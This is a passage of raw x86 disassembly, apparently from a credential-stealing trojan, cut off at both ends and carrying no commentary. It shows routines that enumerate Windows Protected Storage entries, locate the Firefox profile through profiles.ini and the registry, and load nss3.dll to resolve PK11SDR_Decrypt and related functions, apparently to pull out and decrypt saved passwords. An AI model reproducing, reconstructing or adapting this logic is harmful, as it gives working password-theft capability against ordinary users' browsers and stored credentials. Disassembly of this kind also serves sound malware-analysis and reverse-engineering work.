[ebp+8] push dword ptr [ebp+0Ch] call sub_410491 add esp, 10h jmp loc_416378 ; --------------------------------------------------------------------------- loc_416277: ; CODE XREF: sub_416208+20j call sub_41F76B xor edi, edi mov [ebp-14h], edi push edi push edi lea eax, [ebp-10h] push edi push eax mov [ebp-4], edi mov [ebp-10h], edi call dword_4542EC cmp eax, edi jge short loc_4162E3 cmp [ebp+14h], edi mov ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." mov esi, offset aSPstorecreatei ; "%s PStoreCreateInstance() error." jnz short loc_4162C5 cmp [ebp+18h], edi jnz short loc_4162CE cmp [ebp+1Ch], edi jz loc_416367 push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_4104F6 add esp, 10h loc_4162C5: ; CODE XREF: sub_416208+9Dj cmp [ebp+18h], edi jz loc_416367 loc_4162CE: ; CODE XREF: sub_416208+A2j push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_410491 add esp, 10h jmp loc_416367 ; --------------------------------------------------------------------------- loc_4162E3: ; CODE XREF: sub_416208+8Ej cmp [ebp-10h], edi mov byte ptr [ebp-4], 1 mov [ebp-20h], edi jnz short loc_4162F9 push 80004003h call sub_421E08 loc_4162F9: ; CODE XREF: sub_416208+E5j mov esi, [ebp-10h] lea ecx, [ebp-20h] push ecx push edi mov eax, [esi] push edi push esi call dword ptr [eax+38h] cmp eax, edi jge short loc_41637F push offset dword_43EA94 push esi push eax call sub_421E16 cmp [ebp+14h], edi mov ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." mov esi, offset aSFailedToQue_1 ; "%s Failed to query PStore." jnz short loc_416341 cmp [ebp+18h], edi jnz short loc_416346 cmp [ebp+1Ch], edi jz short loc_416356 push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_4104F6 add esp, 10h loc_416341: ; CODE XREF: sub_416208+11Dj cmp [ebp+18h], edi jz short loc_416356 loc_416346: ; CODE XREF: sub_416208+122j push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_410491 add esp, 10h loc_416356: ; CODE XREF: sub_416208+127j ; sub_416208+13Cj mov eax, [ebp-20h] and byte ptr [ebp-4], 0 cmp eax, edi jz short loc_416367 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416367: ; CODE XREF: sub_416208+A7j ; sub_416208+C0j ... mov eax, [ebp-10h] or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, edi jz short loc_416378 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416378: ; CODE XREF: sub_416208+3Bj ; sub_416208+54j ... xor eax, eax jmp loc_416B3D ; --------------------------------------------------------------------------- loc_41637F: ; CODE XREF: sub_416208+102j mov ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." loc_416384: ; CODE XREF: sub_416208+8C1j ; sub_416208+8CDj xor edi, edi cmp [ebp-20h], edi jnz short loc_416395 push 80004003h call sub_421E08 loc_416395: ; CODE XREF: sub_416208+181j mov eax, [ebp-20h] lea edx, [ebp-40h] push edi push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_416ADA sub esp, 10h lea esi, [ebp-40h] mov edi, esp lea eax, [ebp-84h] movsd movsd movsd push offset asc_43EA74 ; "%x" push eax movsd call dword_42F24C ; wsprintfA add esp, 18h and dword ptr [ebp-2Ch], 0 cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 2 jnz short loc_4163E6 push 80004003h call sub_421E08 loc_4163E6: ; CODE XREF: sub_416208+1D2j mov esi, [ebp-10h] lea ecx, [ebp-2Ch] push ecx lea ecx, [ebp-40h] mov eax, [esi] push 0 push ecx push 0 push esi call dword ptr [eax+3Ch] test eax, eax jge short loc_41640B push offset dword_43EA94 push esi push eax call sub_421E16 loc_41640B: ; CODE XREF: sub_416208+1F5j mov edi, dword_42F04C loc_416411: ; CODE XREF: sub_416208+8A7j ; sub_416208+8B3j xor esi, esi cmp [ebp-2Ch], esi jnz short loc_416422 push 80004003h call sub_421E08 loc_416422: ; CODE XREF: sub_416208+20Ej mov eax, [ebp-2Ch] lea edx, [ebp-50h] push esi push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_416AC0 cmp [ebp-10h], esi mov byte ptr [ebp-4], 3 mov [ebp-28h], esi jnz short loc_416450 push 80004003h call sub_421E08 loc_416450: ; CODE XREF: sub_416208+23Cj mov esi, [ebp-10h] lea ecx, [ebp-28h] push ecx lea ecx, [ebp-50h] mov eax, [esi] push 0 push ecx lea ecx, [ebp-40h] push ecx push 0 push esi call dword ptr [eax+54h] test eax, eax jge short loc_416479 push offset dword_43EA94 push esi push eax call sub_421E16 loc_416479: ; CODE XREF: sub_416208+263j ; sub_416208+899j xor esi, esi cmp [ebp-28h], esi jnz short loc_41648A push 80004003h call sub_421E08 loc_41648A: ; CODE XREF: sub_416208+276j mov eax, [ebp-28h] lea edx, [ebp-30h] push esi push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_416AA6 push dword ptr [ebp-30h] lea eax, [ebp-614h] push offset aWs ; "%ws" push eax call dword_42F24C ; wsprintfA add esp, 0Ch cmp [ebp-10h], esi mov [ebp-24h], esi mov [ebp-18h], esi jnz short loc_4164CF push 80004003h call sub_421E08 loc_4164CF: ; CODE XREF: sub_416208+2BBj xor eax, eax lea edx, [ebp-18h] push eax push eax push edx mov esi, [ebp-10h] lea edx, [ebp-24h] push edx mov ecx, [esi] push dword ptr [ebp-30h] lea edx, [ebp-50h] push edx lea edx, [ebp-40h] push edx push eax push esi call dword ptr [ecx+44h] test eax, eax jge short loc_416500 push offset dword_43EA94 push esi push eax call sub_421E16 loc_416500: ; CODE XREF: sub_416208+2EAj push dword ptr [ebp-18h] call dword_42F0DC ; lstrlenA mov esi, [ebp-24h] lea ecx, [esi-1] cmp eax, ecx jnb short loc_416547 xor ecx, ecx xor edx, edx test esi, esi jbe short loc_41653D loc_41651B: ; CODE XREF: sub_416208+333j mov eax, [ebp-18h] mov al, [edx+eax] test al, al jnz short loc_41652F mov byte ptr [ebp+ecx-414h], 2Ch jmp short loc_416536 ; --------------------------------------------------------------------------- loc_41652F: ; CODE XREF: sub_416208+31Bj mov [ebp+ecx-414h], al loc_416536: ; CODE XREF: sub_416208+325j inc ecx inc edx inc edx cmp edx, esi jb short loc_41651B loc_41653D: ; CODE XREF: sub_416208+311j and byte ptr [ebp+ecx-415h], 0 jmp short loc_41655F ; --------------------------------------------------------------------------- loc_416547: ; CODE XREF: sub_416208+309j push dword ptr [ebp-18h] lea eax, [ebp-414h] push offset aS_1 ; "%s" push eax call dword_42F24C ; wsprintfA add esp, 0Ch loc_41655F: ; CODE XREF: sub_416208+33Dj mov esi, offset byte_44D6A4 lea eax, [ebp-0DFCh] push esi push eax call edi ; dword_42F04C lea eax, [ebp-814h] push esi push eax call edi ; dword_42F04C lea eax, [ebp-84h] push offset a5e7e8100 ; "5e7e8100" push eax call dword_42F0A8 ; lstrcmpA test eax, eax jnz loc_41664F lea eax, [ebp-1B0h] push esi push eax call edi ; dword_42F04C lea eax, [ebp-414h] push offset asc_4381C4 ; ":" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4165E7 lea eax, [ebp-414h] push offset asc_4381C4 ; ":" push eax call sub_4235C0 pop ecx inc eax pop ecx push eax lea eax, [ebp-1B0h] push eax call edi ; dword_42F04C lea eax, [ebp-414h] push offset asc_4381C4 ; ":" push eax call sub_4235C0 and byte ptr [eax], 0 pop ecx pop ecx loc_4165E7: ; CODE XREF: sub_416208+3A9j inc dword ptr [ebp-14h] lea eax, [ebp-414h] push esi push eax call sub_422760 pop ecx test eax, eax pop ecx jz short loc_416610 lea eax, [ebp-1B0h] push esi push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_416616 loc_416610: ; CODE XREF: sub_416208+3F3j cmp dword ptr [ebp+1Ch], 0 jz short loc_41664F loc_416616: ; CODE XREF: sub_416208+406j lea eax, [ebp-1B0h] cmp dword ptr [ebp+18h], 0 push eax lea eax, [ebp-414h] push eax lea eax, [ebp-614h] push eax push ebx push offset dword_43EA38 push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_416647 call sub_4105DF jmp short loc_41664C ; --------------------------------------------------------------------------- loc_416647: ; CODE XREF: sub_416208+436j call sub_41066C loc_41664C: ; CODE XREF: sub_416208+43Dj add esp, 20h loc_41664F: ; CODE XREF: sub_416208+384j ; sub_416208+40Cj lea eax, [ebp-84h] push offset aE161255a ; "e161255a" push eax call dword_42F0A8 ; lstrcmpA test eax, eax jnz loc_4167B6 lea eax, [ebp-614h] push offset aStringindex ; "StringIndex" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jnz loc_4167B6 lea eax, [ebp-614h] push offset dword_43EA18 push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4166B1 lea eax, [ebp-614h] push offset dword_43EA18 push eax call sub_4235C0 and byte ptr [eax], 0 pop ecx pop ecx loc_4166B1: ; CODE XREF: sub_416208+491j lea eax, [ebp-614h] push 8 push eax lea eax, [ebp-1B0h] push eax call dword_42F0D8 ; lstrcpynA lea eax, [ebp-1B0h] push offset dword_43EA10 push eax call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_4166F9 lea eax, [ebp-1B0h] push offset dword_43EA08 push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz loc_4167B6 loc_4166F9: ; CODE XREF: sub_416208+4D4j lea eax, [ebp-1B0h] push esi push eax call edi ; dword_42F04C lea eax, [ebp-414h] push offset dword_43EA04 push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41674E lea eax, [ebp-414h] push offset dword_43EA04 push eax call sub_4235C0 pop ecx inc eax pop ecx push eax lea eax, [ebp-1B0h] push eax call edi ; dword_42F04C lea eax, [ebp-414h] push offset dword_43EA04 push eax call sub_4235C0 and byte ptr [eax], 0 pop ecx pop ecx loc_41674E: ; CODE XREF: sub_416208+510j inc dword ptr [ebp-14h] lea eax, [ebp-414h] push esi push eax call sub_422760 pop ecx test eax, eax pop ecx jz short loc_416777 lea eax, [ebp-1B0h] push esi push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41677D loc_416777: ; CODE XREF: sub_416208+55Aj cmp dword ptr [ebp+1Ch], 0 jz short loc_4167B6 loc_41677D: ; CODE XREF: sub_416208+56Dj lea eax, [ebp-1B0h] cmp dword ptr [ebp+18h], 0 push eax lea eax, [ebp-414h] push eax lea eax, [ebp-614h] push eax push ebx push offset dword_43E9E0 push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_4167AE call sub_4105DF jmp short loc_4167B3 ; --------------------------------------------------------------------------- loc_4167AE: ; CODE XREF: sub_416208+59Dj call sub_41066C loc_4167B3: ; CODE XREF: sub_416208+5A4j add esp, 20h loc_4167B6: ; CODE XREF: sub_416208+45Bj ; sub_416208+476j ... lea eax, [ebp-84h] push offset aB9819c52 ; "b9819c52" push eax call dword_42F0A8 ; lstrcmpA test eax, eax jnz loc_416957 mov eax, [ebp-18h] xor esi, esi xor edi, edi cmp [ebp-24h], esi jbe short loc_41681F loc_4167DC: ; CODE XREF: sub_416208+615j mov cl, [esi+eax] test cl, cl jnz short loc_4167ED mov byte ptr [ebp+edi-414h], 2Ch jmp short loc_416817 ; --------------------------------------------------------------------------- loc_4167ED: ; CODE XREF: sub_416208+5D9j push ecx call dword_42F248 ; IsCharAlphaNumericA test eax, eax mov eax, [ebp-18h] jnz short loc_41680D mov cl, [esi+eax] cmp cl, 40h jz short loc_41680D cmp cl, 2Eh jz short loc_41680D cmp cl, 5Fh jnz short loc_416818 loc_41680D: ; CODE XREF: sub_416208+5F1j ; sub_416208+5F9j ... mov cl, [esi+eax] mov [ebp+edi-414h], cl loc_416817: ; CODE XREF: sub_416208+5E3j inc edi loc_416818: ; CODE XREF: sub_416208+603j inc esi inc esi cmp esi, [ebp-24h] jb short loc_4167DC loc_41681F: ; CODE XREF: sub_416208+5D2j and byte ptr [ebp+edi-415h], 0 and dword ptr [ebp-1Ch], 0 cmp byte ptr [eax+4], 0 lea esi, [ebp-412h] jbe loc_416957 mov edi, offset dword_43EA04 loc_416840: ; CODE XREF: sub_416208+749j inc esi lea eax, [ebp-214h] push esi push eax call dword_42F04C ; lstrcpyA lea eax, [ebp-214h] push edi push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_416874 lea eax, [ebp-214h] push edi push eax call sub_4235C0 and byte ptr [eax], 0 pop ecx pop ecx loc_416874: ; CODE XREF: sub_416208+658j push edi push esi call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41689A push edi push esi call sub_4235C0 pop ecx inc eax pop ecx inc eax push eax lea eax, [ebp-0E8h] push eax call dword_42F04C ; lstrcpyA loc_41689A: ; CODE XREF: sub_416208+677j lea eax, [ebp-0E8h] push edi push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_4168BF lea eax, [ebp-0E8h] push edi push eax call sub_4235C0 and byte ptr [eax], 0 pop ecx pop ecx loc_4168BF: ; CODE XREF: sub_416208+6A3j push edi push esi call sub_4235C0 pop ecx mov esi, eax pop ecx lea eax, [ebp-0E8h] push eax call dword_42F0DC ; lstrlenA lea esi, [esi+eax+9] lea eax, [ebp-0E8h] push offset byte_44D6A4 push eax call sub_422760 pop ecx test eax, eax pop ecx jz short loc_416909 lea eax, [ebp-214h] push offset byte_44D6A4 push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41690F loc_416909: ; CODE XREF: sub_416208+6E8j cmp dword ptr [ebp+1Ch], 0 jz short loc_416944 loc_41690F: ; CODE XREF: sub_416208+6FFj lea eax, [ebp-0E8h] inc dword ptr [ebp-14h] push eax lea eax, [ebp-214h] push eax push ebx cmp dword ptr [ebp+18h], 0 push offset dword_43E9AC push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_41693C call sub_4105DF jmp short loc_416941 ; --------------------------------------------------------------------------- loc_41693C: ; CODE XREF: sub_416208+72Bj call sub_41066C loc_416941: ; CODE XREF: sub_416208+732j add esp, 1Ch loc_416944: ; CODE XREF: sub_416208+705j mov eax, [ebp-18h] inc dword ptr [ebp-1Ch] movzx eax, byte ptr [eax+4] cmp [ebp-1Ch], eax jl loc_416840 loc_416957: ; CODE XREF: sub_416208+5C2j ; sub_416208+62Dj lea eax, [ebp-84h] push offset a220d5cc1 ; "220d5cc1" push eax call dword_42F0A8 ; lstrcmpA test eax, eax jnz loc_416A75 xor esi, esi mov edi, offset byte_44D6A4 cmp dword_45C1D0, esi jle short loc_4169BE mov dword ptr [ebp-1Ch], offset byte_45879C loc_416987: ; CODE XREF: sub_416208+7B4j lea eax, [ebp-614h] push eax push dword ptr [ebp-1Ch] call dword_42F0A8 ; lstrcmpA test eax, eax jnz short loc_4169AE lea eax, [ebp-414h] push edi push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_4169EF loc_4169AE: ; CODE XREF: sub_416208+791j add dword ptr [ebp-1Ch], 12Ch inc esi cmp esi, dword_45C1D0 jl short loc_416987 loc_4169BE: ; CODE XREF: sub_416208+776j lea eax, [ebp-414h] push edi push eax call sub_422760 pop ecx test eax, eax pop ecx jz short loc_416A33 mov eax, esi push edi imul eax, 12Ch mov edi, offset dword_458738 add eax, edi push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_416A3E jmp short loc_416A38 ; --------------------------------------------------------------------------- loc_4169EF: ; CODE XREF: sub_416208+7A4j imul esi, 12Ch lea eax, [ebp-414h] inc dword ptr [ebp-14h] push eax lea eax, dword_458738[esi] push eax lea eax, dword_458800[esi] push eax push ebx cmp dword ptr [ebp+18h], 0 push offset dword_43E974 push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_416A2C call sub_4105DF loc_416A27: ; CODE XREF: sub_416208+829j add esp, 20h jmp short loc_416A75 ; --------------------------------------------------------------------------- loc_416A2C: ; CODE XREF: sub_416208+818j call sub_41066C jmp short loc_416A27 ; --------------------------------------------------------------------------- loc_416A33: ; CODE XREF: sub_416208+7C7j mov edi, offset dword_458738 loc_416A38: ; CODE XREF: sub_416208+7E5j cmp dword ptr [ebp+1Ch], 0 jz short loc_416A75 loc_416A3E: ; CODE XREF: sub_416208+7E3j imul esi, 12Ch lea eax, [ebp-414h] add esi, edi push eax inc dword ptr [ebp-14h] push esi push ebx cmp dword ptr [ebp+18h], 0 push offset dword_43E944 push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_416A6D call sub_4105DF jmp short loc_416A72 ; --------------------------------------------------------------------------- loc_416A6D: ; CODE XREF: sub_416208+85Cj call sub_41066C loc_416A72: ; CODE XREF: sub_416208+863j add esp, 1Ch loc_416A75: ; CODE XREF: sub_416208+763j ; sub_416208+822j ... mov esi, 200h lea eax, [ebp-614h] push esi push 0 push eax call sub_4221F0 push esi lea eax, [ebp-414h] push 0 push eax call sub_4221F0 mov edi, dword_42F04C add esp, 18h jmp loc_416479 ; --------------------------------------------------------------------------- loc_416AA6: ; CODE XREF: sub_416208+294j mov eax, [ebp-28h] mov byte ptr [ebp-4], 2 cmp eax, esi jz loc_416411 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_416411 ; --------------------------------------------------------------------------- loc_416AC0: ; CODE XREF: sub_416208+22Cj mov eax, [ebp-2Ch] mov byte ptr [ebp-4], 1 cmp eax, esi jz loc_416384 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_416384 ; --------------------------------------------------------------------------- loc_416ADA: ; CODE XREF: sub_416208+19Fj cmp [ebp-14h], edi jnz short loc_416B18 cmp [ebp+14h], edi mov esi, offset aSNoPstoreEntri ; "%s No PStore entries found." jnz short loc_416B03 cmp [ebp+18h], edi jnz short loc_416B08 cmp [ebp+1Ch], edi jz short loc_416B18 push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_4104F6 add esp, 10h loc_416B03: ; CODE XREF: sub_416208+8DFj cmp [ebp+18h], edi jz short loc_416B18 loc_416B08: ; CODE XREF: sub_416208+8E4j push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_410491 add esp, 10h loc_416B18: ; CODE XREF: sub_416208+8D5j ; sub_416208+8E9j ... mov eax, [ebp-20h] and byte ptr [ebp-4], 0 cmp eax, edi jz short loc_416B29 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416B29: ; CODE XREF: sub_416208+919j mov eax, [ebp-10h] or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, edi jz short loc_416B3A mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416B3A: ; CODE XREF: sub_416208+92Aj xor eax, eax inc eax loc_416B3D: ; CODE XREF: sub_416208+172j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_416208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B4C proc near ; DATA XREF: sub_403B2C+EF0o var_1240 = byte ptr -1240h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_188 = dword ptr -188h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1240h call sub_4220C0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_240] rep movsd xor edi, edi mov dword ptr [eax+0BCh], 1 cmp [ebp+var_1B8], edi jz short loc_416B9B push 1000h lea eax, [ebp+var_1240] push [ebp+var_1B8] push eax call sub_4222F0 add esp, 0Ch loc_416B9B: ; CODE XREF: sub_416B4C+33j call sub_416C0B mov esi, eax call sub_416E02 push eax call sub_416F48 test eax, eax pop ecx jz short loc_416BF6 push offset byte_455AB8 push esi call sub_4170D5 pop ecx test eax, eax pop ecx jz short loc_416BF6 cmp [ebp+var_1B8], edi jz short loc_416BD4 lea eax, [ebp+var_1240] push eax jmp short loc_416BD5 ; --------------------------------------------------------------------------- loc_416BD4: ; CODE XREF: sub_416B4C+7Dj push edi loc_416BD5: ; CODE XREF: sub_416B4C+86j push [ebp+var_188] lea eax, [ebp+var_23C] push [ebp+var_240] push eax push esi call sub_417149 add esp, 14h call sub_41740C loc_416BF6: ; CODE XREF: sub_416B4C+64j ; sub_416B4C+75j push [ebp+var_1BC] call sub_41C059 pop ecx push edi call dword_42F150 ; ExitThread pop edi pop esi sub_416B4C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C0B proc near ; CODE XREF: sub_416B4C:loc_416B9Bp var_64C = dword ptr -64Ch var_63D = byte ptr -63Dh var_63C = byte ptr -63Ch var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_137 = byte ptr -137h var_34 = byte ptr -34h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 63Ch mov al, byte_44D6A4 push esi push edi push 40h mov [ebp+var_138], al pop ecx xor eax, eax lea edi, [ebp+var_137] rep stosd stosw stosb push 8 mov esi, offset aApplicationDat ; "Application Data\\Mozilla\\Firefox" pop ecx lea edi, [ebp+var_34] rep movsd movsb lea eax, [ebp+var_C] xor edi, edi push eax push 8 mov [ebp+var_10], 104h mov [ebp+var_4], edi call dword_42F040 ; GetCurrentProcess push eax call dword_4542F8 ; OpenProcessToken test eax, eax jz short loc_416CDC lea eax, [ebp+var_10] push eax lea eax, [ebp+var_138] push eax push [ebp+var_C] call dword_454334 test eax, eax jz short loc_416CDC lea eax, [ebp+var_138] push eax lea eax, [ebp+var_23C] push eax call dword_42F04C ; lstrcpyA mov esi, offset asc_43E8EC ; "\\" lea eax, [ebp+var_23C] push esi push eax call sub_423270 lea eax, [ebp+var_34] push eax lea eax, [ebp+var_23C] push eax call sub_423270 lea eax, [ebp+var_23C] push offset aProfiles_ini ; "\\profiles.ini" push eax call sub_423270 lea eax, [ebp+var_23C] push offset word_433F2C push eax call sub_422F66 add esp, 20h cmp eax, edi mov [ebp+var_8], eax jnz short loc_416CE3 loc_416CDC: ; CODE XREF: sub_416C0B+55j ; sub_416C0B+6Dj xor eax, eax jmp loc_416DFE ; --------------------------------------------------------------------------- loc_416CE3: ; CODE XREF: sub_416C0B+CFj push ebx push eax mov ebx, 400h jmp short loc_416D33 ; --------------------------------------------------------------------------- loc_416CEC: ; CODE XREF: sub_416C0B+13Aj lea eax, [ebp+var_63C] push eax call sub_417776 cmp [ebp+var_4], 0 pop ecx lea eax, [ebp+var_63C] jnz short loc_416D1F push offset aNameDefault ; "name=default" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_416D30 mov [ebp+var_4], 1 jmp short loc_416D30 ; --------------------------------------------------------------------------- loc_416D1F: ; CODE XREF: sub_416C0B+F8j push offset aPath ; "path=" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jnz short loc_416D4C loc_416D30: ; CODE XREF: sub_416C0B+109j ; sub_416C0B+112j push [ebp+var_8] loc_416D33: ; CODE XREF: sub_416C0B+DFj lea eax, [ebp+var_63C] push ebx push eax call sub_42458A add esp, 0Ch test eax, eax jnz short loc_416CEC jmp loc_416DF2 ; --------------------------------------------------------------------------- loc_416D4C: ; CODE XREF: sub_416C0B+123j lea eax, [ebp+var_63C] push offset asc_4381B4 ; "/" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_416D66 mov byte ptr [eax], 5Ch loc_416D66: ; CODE XREF: sub_416C0B+156j lea eax, [ebp+var_63C] push eax call sub_422120 and [ebp+eax+var_63D], 0 lea eax, [ebp+var_63C] mov [esp+64Ch+var_64C], offset asc_438724 ; "=" push eax call sub_4235C0 mov ebx, eax push ebx call sub_422120 mov edi, eax lea eax, [ebp+var_34] push eax call sub_422120 add edi, eax lea eax, [ebp+var_138] push eax call sub_422120 lea eax, [edi+eax+3] push eax call sub_422F79 mov edi, eax add esp, 18h test edi, edi jz short loc_416DF2 lea eax, [ebp+var_138] push eax push edi call dword_42F04C ; lstrcpyA push esi push edi call sub_423270 lea eax, [ebp+var_34] push eax push edi call sub_423270 push esi push edi call sub_423270 inc ebx push ebx push edi call sub_423270 add esp, 20h loc_416DF2: ; CODE XREF: sub_416C0B+13Cj ; sub_416C0B+1B4j push [ebp+var_8] call sub_422B65 pop ecx mov eax, edi pop ebx loc_416DFE: ; CODE XREF: sub_416C0B+D3j pop edi pop esi leave retn sub_416C0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E02 proc near ; CODE XREF: sub_416B4C+56p var_154 = byte ptr -154h var_110 = byte ptr -110h var_10F = byte ptr -10Fh var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 154h push ebx push esi push edi push 10h pop ecx mov esi, offset aSoftwareClient ; "SOFTWARE\\Clients\\StartMenuInternet\\fire"... lea edi, [ebp+var_154] mov al, byte_44D6A4 rep movsd movsw push 40h mov [ebp+var_110], al pop ecx xor eax, eax lea edi, [ebp+var_10F] xor ebx, ebx rep stosd stosw stosb lea eax, [ebp+var_4] mov [ebp+var_8], 104h push eax push 20019h lea eax, [ebp+var_154] push ebx push eax push 80000002h call dword_454384 ; RegOpenKeyExA test eax, eax jnz loc_416F41 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_110] push eax lea eax, [ebp+var_C] push eax push ebx push ebx push [ebp+var_4] call dword_4541F8 ; RegQueryValueExA test eax, eax jnz loc_416F38 cmp [ebp+var_8], ebx jbe loc_416F38 cmp [ebp+var_110], bl jz loc_416F38 push [ebp+var_4] call dword_4542E8 ; RegCloseKey cmp [ebp+var_110], 22h jnz short loc_416EE4 lea eax, [ebp+var_110] xor esi, esi push eax call sub_422120 dec eax pop ecx jz short loc_416EE4 loc_416EC3: ; CODE XREF: sub_416E02+E0j mov al, [ebp+esi+var_10F] mov [ebp+esi+var_110], al lea eax, [ebp+var_110] push eax inc esi call sub_422120 dec eax pop ecx cmp esi, eax jb short loc_416EC3 loc_416EE4: ; CODE XREF: sub_416E02+ADj ; sub_416E02+BFj lea eax, [ebp+var_110] push eax call sub_422120 pop ecx jmp short loc_416EFD ; --------------------------------------------------------------------------- loc_416EF3: ; CODE XREF: sub_416E02+FEj cmp [ebp+eax+var_110], 5Ch jz short loc_416F04 loc_416EFD: ; CODE XREF: sub_416E02+EFj dec eax cmp eax, ebx jg short loc_416EF3 jmp short loc_416F0B ; --------------------------------------------------------------------------- loc_416F04: ; CODE XREF: sub_416E02+F9j mov [ebp+eax+var_110], bl loc_416F0B: ; CODE XREF: sub_416E02+100j lea eax, [ebp+var_110] push eax call sub_422120 inc eax push eax call sub_422F79 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_416F34 lea eax, [ebp+var_110] push eax push esi call dword_42F04C ; lstrcpyA loc_416F34: ; CODE XREF: sub_416E02+122j mov eax, esi jmp short loc_416F43 ; --------------------------------------------------------------------------- loc_416F38: ; CODE XREF: sub_416E02+82j ; sub_416E02+8Bj ... push [ebp+var_4] call dword_4542E8 ; RegCloseKey loc_416F41: ; CODE XREF: sub_416E02+60j xor eax, eax loc_416F43: ; CODE XREF: sub_416E02+134j pop edi pop esi pop ebx leave retn sub_416E02 endp ; =============== S U B R O U T I N E ======================================= sub_416F48 proc near ; CODE XREF: sub_416B4C+5Cp arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebp, ebp push edi cmp esi, ebp mov dword_45C1DC, ebp mov dword_45C1D8, ebp mov edi, offset aPlc4_dll ; "plc4.dll" mov ebx, offset aNss3_dll ; "nss3.dll" jz short loc_416FC7 push offset aNspr4_dll ; "nspr4.dll" push esi call sub_417441 pop ecx test eax, eax pop ecx jz short loc_416FBF push edi push esi call sub_417441 pop ecx cmp eax, ebp pop ecx mov dword_45C1DC, eax jz short loc_416FBF push offset aPlds4_dll ; "plds4.dll" push esi call sub_417441 pop ecx test eax, eax pop ecx jz short loc_416FBF push offset aSoftokn3_dll ; "softokn3.dll" push esi call sub_417441 pop ecx test eax, eax pop ecx jz short loc_416FBF push ebx push esi call sub_417441 pop ecx mov dword_45C1D8, eax pop ecx loc_416FBF: ; CODE XREF: sub_416F48+33j ; sub_416F48+45j ... cmp dword_45C1D8, ebp jnz short loc_416FF6 loc_416FC7: ; CODE XREF: sub_416F48+22j push ebx push esi call sub_417441 push edi push esi mov dword_45C1D8, eax call sub_417441 add esp, 10h cmp dword_45C1D8, ebp mov dword_45C1DC, eax jz loc_4170CE cmp eax, ebp jz loc_4170CE loc_416FF6: ; CODE XREF: sub_416F48+7Dj mov esi, dword_42F13C push offset aNss_init ; "NSS_Init" push dword_45C1D8 call esi ; dword_42F13C push offset aNss_shutdown ; "NSS_Shutdown" mov dword_455AB0, eax push dword_45C1D8 call esi ; dword_42F13C push offset aPk11_getintern ; "PK11_GetInternalKeySlot" mov dword_455F24, eax push dword_45C1D8 call esi ; dword_42F13C push offset aPk11_freeslot ; "PK11_FreeSlot" mov dword_455F2C, eax push dword_45C1D8 call esi ; dword_42F13C push offset aPk11_authentic ; "PK11_Authenticate" mov dword_455EC8, eax push dword_45C1D8 call esi ; dword_42F13C push offset aPk11sdr_decryp ; "PK11SDR_Decrypt" mov dword_455F28, eax push dword_45C1D8 call esi ; dword_42F13C push offset aPk11_checkuser ; "PK11_CheckUserPassword" mov dword_455ED0, eax push dword_45C1D8 call esi ; 